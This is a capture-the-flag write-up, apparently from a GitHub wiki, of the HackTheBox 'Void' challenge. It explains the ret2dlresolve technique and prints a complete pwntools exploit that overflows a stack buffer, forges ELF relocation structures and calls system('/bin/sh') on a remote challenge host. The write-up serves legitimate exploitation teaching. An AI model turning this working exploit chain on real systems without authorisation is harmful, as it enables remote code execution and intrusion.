HTB Void writeup - Pez1181/CTF GitHub Wiki
π ret2dlresolve Exploit β HTB "Void" Challenge Writeup
π Challenge Summary
This challenge presents a 64-bit dynamically linked ELF binary with the following properties:
- No stack canary
- NX enabled
- No PIE
- No useful PLT entries (
puts,system, andwriteare missing!) - A custom
libc.so.6andld-linux-x86-64.so.2are provided - The binary contains a
vuln()function that overflows viaread()into a 64-byte stack buffer
The binary simply reads 200 bytes from stdin and exits. No output, no print, no hint. So... how do we pop a shell? π€
π§ Why ret2dlresolve?
Normally in a ret2libc exploit, we leak a libc function (e.g., puts@GOT), compute the libc base, and call system("/bin/sh"). But here:
putsdoesn't exist in the binary.writedoesn't exist either.- And
system()isn't available until resolved from libc.
We're stuck.
But... the binary is dynamically linked, and we have libc and ld.so provided. That means we can abuse the dynamic linker itself using a technique called:
π ret2dlresolve β "Return-to-Dynamic-Linker-Resolve"
This technique lets us forge ELF data structures in memory and convince the dynamic linker to resolve any function we want, like system(), even if it isn't present in the binary.
π How to Find This Technique
ret2dlresolve is documented and implemented in:
- β Pwntools documentation
- β
pwnlib.rop.dlresolve.Ret2dlresolvePayload
π₯ Full Exploit (Using ret2dlresolve in Pwntools)
This code uses Ret2dlresolvePayload to build fake ELF structures in .bss, triggers a call to read() to load them, and finally jumps to the dynamic resolver to call system("/bin/sh").
from pwn import *
# Load binaries
void = ELF('./void')
libc = ELF('glibc/libc.so.6')
ld = ELF('glibc/ld-linux-x86-64.so.2')
# Context for architecture
context.binary = void.path
# Offsets and remote host
OFFSET = 72
HOST = '94.237.52.107'
PORT = 56671
# Start remote connection
# For local testing: replace with process('./void')
p = remote(HOST, PORT)
# Prepare ret2dlresolve payload
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
# Stage 1: Read forged ELF structs into memory
rop.read(0, dlresolve.data_addr)
# Stack alignment (for glibc 2.29+)
rop.raw(rop.ret[0])
# Stage 2: Trigger dynamic resolver with fake relocation
rop.ret2dlresolve(dlresolve)
# Build final payload
raw_rop = rop.chain()
# Send first stage ROP chain
p.sendline(b'A' * OFFSET + raw_rop)
# Send forged relocation structures
p.sendline(dlresolve.payload)
# Interact with the shell
p.interactive()
β Why This Works
Ret2dlresolvePayloadconstructs fake.rel.plt,.symtab, and string table entries in memory.- The ROP chain calls
read()to place them in.bss - We then call the dynamic linker stub with the address of our fake relocation
- The linker resolves
system()from libc - We pass
/bin/shas the argument β π shell
π§· When to Use This
Use ret2dlresolve when:
- You're dealing with a dynamically linked ELF
- The binary lacks useful PLT entries like
system,puts,write - You have access to the
libc.so.6or know its version - NX is enabled (no shellcode injection)
- You have control over input and can write a ROP chain
π§° Requirements
Install pwntools and ruby (for one_gadget, if needed):
pip install pwntools
gem install one_gadget
π§ Final Notes
This is a powerful and underused technique. Itβs especially useful in modern CTF challenges where binaries are minimal and dynamically linked. Learn it once β use it forever.
πΆοΈ Mission complete. You can now return from the Void. π«‘